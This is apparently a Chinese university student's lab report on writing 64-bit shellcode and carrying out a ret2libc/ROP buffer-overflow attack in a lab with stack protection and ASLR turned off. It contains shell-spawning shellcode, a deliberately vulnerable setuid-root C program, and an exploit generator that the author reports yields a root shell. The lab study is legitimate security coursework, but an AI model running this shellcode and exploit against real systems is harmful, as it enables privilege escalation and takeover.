一、实验内容介绍
二、64位shellcode的编写及注入
三、ret2lib及rop的实践
第一个实践是在非常简单的一个预设条件下完成的:
(1)关闭堆栈保护
(2)关闭堆栈执行保护
(3)关闭地址随机化
(4)在x32环境下
(5)在Linux实践环境
Task1 (5-10分)
Task 2 (5-10分)
Task 3 ( 5-25分)
可研究实践任何绕过前面预设条件的攻击方法;可研究Windows平台的类似技术实践。
或任何自己想弄明白的相关问题。包括非编程实践,如:我们当前的程序还有这样的漏洞吗?
同学们可跟踪深入任何一个作为后续课题。问题-思考-验证-深入...。根据实践量,可作为5-25分的期末免考题目。
往届样例:学习并实践:Linux攻击实践完整流程
返回目录
自己编写一个64位shellcode。参考shellcode指导。
自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。
shellcode 主要的目的是调用系统函数,而在x86下 在linux下有两种方式。
第一种是通过直接调用中断 int 0x80进入内核态,从而达到调用目的。
第二种是通过调用libc里syscall(64位)和sysenter(32位)
global _start
_start:
xor rdi,rdi
xor rax,rax
mov al,0x69
syscall
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
#include <stdio.h>
#include <string.h>
char *shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
通过运行结果,发现这个shellcode不能用
进一步学习并做ret2lib及rop的实践,以绕过“堆栈执行保护”。
ROP全称为Retrun-oriented Programmming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。
ROP攻击同缓冲区溢出攻击,格式化字符串漏洞攻击不同,是一种全新的攻击方式,它利用代码复用技术。
下表中ptr1-3就是在当前进程内存空间中要找到的地址。然后利用这三个地址构造攻击缓冲区,覆盖被攻击函数的堆栈。这只是一个非常简单的ROP攻击,只用了一个代码片段。复杂的ROP是由一系列的ptr1那样的指针构成,每一个都是以retq结尾的一小片代码(gadget)。
攻击用的缓冲区 | 指向的内容 | 说明 |
---|---|---|
ptr3内存地址3(高地址) | system | |
ptr2内存地址2 | /bin/sh | |
ptr1内存地址1(低地址) | pop %rdi;retq | 覆盖堆栈上的返回地址 |
填充内容 | 这部分内容主要是长度要合适,保证ptr1能覆盖到返回地址 |
上面构造的攻击用缓冲区原理和前面介绍的Shellcode很类似。
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
gcc -z noexecstack -o test test.c //栈不可执行
sudo sysctl -w kernel.randomize_va_space=0 //关闭地址随机化
5226retlib.c
文件,保存到/tmp
目录下,并进行编译,设置。代码如下:#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
sudo su//获取root权限
gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c//设置栈不可执行
chmod u+s retlib //给retlib程序的所有者以suid权限,可以像root用户一样操作
exit
gcc -m32 -o getenvaddr getenvaddr.c
进行编译。#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./reblic
include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
gcc -m32 -g -o exploit exploit.c//编译
gdb -q ./exploit//调试
b 10//设置断点
run//运行到断点处
p system//获取system地址
p exit//获取exit地址
exploit.c
文件,填上刚才找到的内存地址。删除刚才调试编译的exploit
程序和badfile
文件,重新编译修改后的exploit.c
。badfile
文件,载运行漏洞程序,可以看到攻击成功,获得root权限。问题1:输入命令行sudo apt-get install lib32readline-gplv2-dev
的时候出现无法安装的提示
问题1解决方案:将命令改成sudo apt-get install lib32readline6-dev
于是成功安装
问题2:在编译5226retlib.c
时出现如图所示错误
问题2解决方案:发现第一行没有#
,加上后编译成功
问题3:在运行攻击程序生成badfile文件,载运行漏洞程序时攻击失败
问题3解决方案:发现在另一终端未退出,在退出后重新进入目录,再运行,成功
返回目录
2018-2019 20165226 网络对抗 Exp1+ 逆向进阶
原文:https://www.cnblogs.com/musea/p/10580724.html